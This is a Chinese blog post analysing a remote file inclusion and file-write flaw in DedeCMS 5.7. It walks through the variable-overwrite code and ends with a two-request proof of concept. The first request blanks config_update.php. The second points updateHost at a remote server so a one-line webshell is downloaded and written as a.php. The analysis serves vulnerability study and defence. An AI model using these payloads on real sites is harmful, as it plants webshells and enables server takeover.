DedeCMS5.7远程文件包含漏洞分析

看一段php代码

<?php
foreach(Array('_GET','_POST','_COOKIE') as $_request){
    foreach($$_request as $_k => $_v) ${$_k}= $_v;
}
    echo 'a:'.$a;
    echo 'b:'.$b;

这段代码可以实现创建变量并赋值的操作,而且参数都是可控的。

如果之前已经有了相应参数,那就会执行变量覆盖操作。

如果业务还有以下代码

else if($step==11){
    require_once('../data/admin/config_update.php');
    $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
    $sql_content = file_get_contents($rmurl);
    $fp = fopen($install_demo_name, 'w');
    if(fwrite($fp,$sql_content))
        echo'&nbsp;<font color="green">[/]</font>存在(您可以选择安装进行体验)';
    else 
        echo'&nbsp;<font color="red">[×]</font>远程获取失败';
    unset($sql_content);
    fclose($fp); 
    exit();
}

假设$step可控 $rmurl可控 $install_demo_name可控,是不是就可以实现了任意文件写入的操作了!

要想实现 $rmurl的可控 就得让$updateHost和{$s_lang}可控 。

$updateHost与$s_lang可以用之前的漏洞覆盖这个变量,变为我们的远程服务器地址,远程服务器构造dedecms目录 存一个名为demodata.a.txt的一句话木马文件。

$install_demo_name直接用变量覆盖的方式修改为a.php,如此就可以将木马文件写进a.php了 。

一切看的没什么问题但是:$updateHost 在config_update.php中定义,出现漏洞代码之后,无法使用变量覆盖 这里怎么办!

思路 :利用 $install_demo_name可控的方式将config_update.php 写入空 让其中的$updateHost失去定义, 写入空执行找不到对应的文件为空, $sql_content 自然就为空。

之后用以上思路,是不是就可以利用了。

给出的poc如下

?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php ​
?step=11&insLockfile=a&s_lang=a&install_demo_name=a.php&updateHost=http://1.1.1.1:80/

分析一下第一个payload,由于file_get_contents($rmurl);   $rmurl = $updateHost."dedecms/demodata.a.txt"; 这个文件不存在所以file_get_contents是空的,之后用fwrite($fp,$sql_content)将空值写入../data/admin/config_update.php ​文件。

访问第二个payload,由于../data/admin/config_update.php为空 $updateHost失去了定义,可以被变量覆盖到,    $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";$rmurl=我们创建好的http端,且有dedecms/demodata.a.txt这个文件,那么file_get_contents就不是空,而是木马的内容,写入到了同级目录下的a.php文件中。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

昵称还在想呢

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值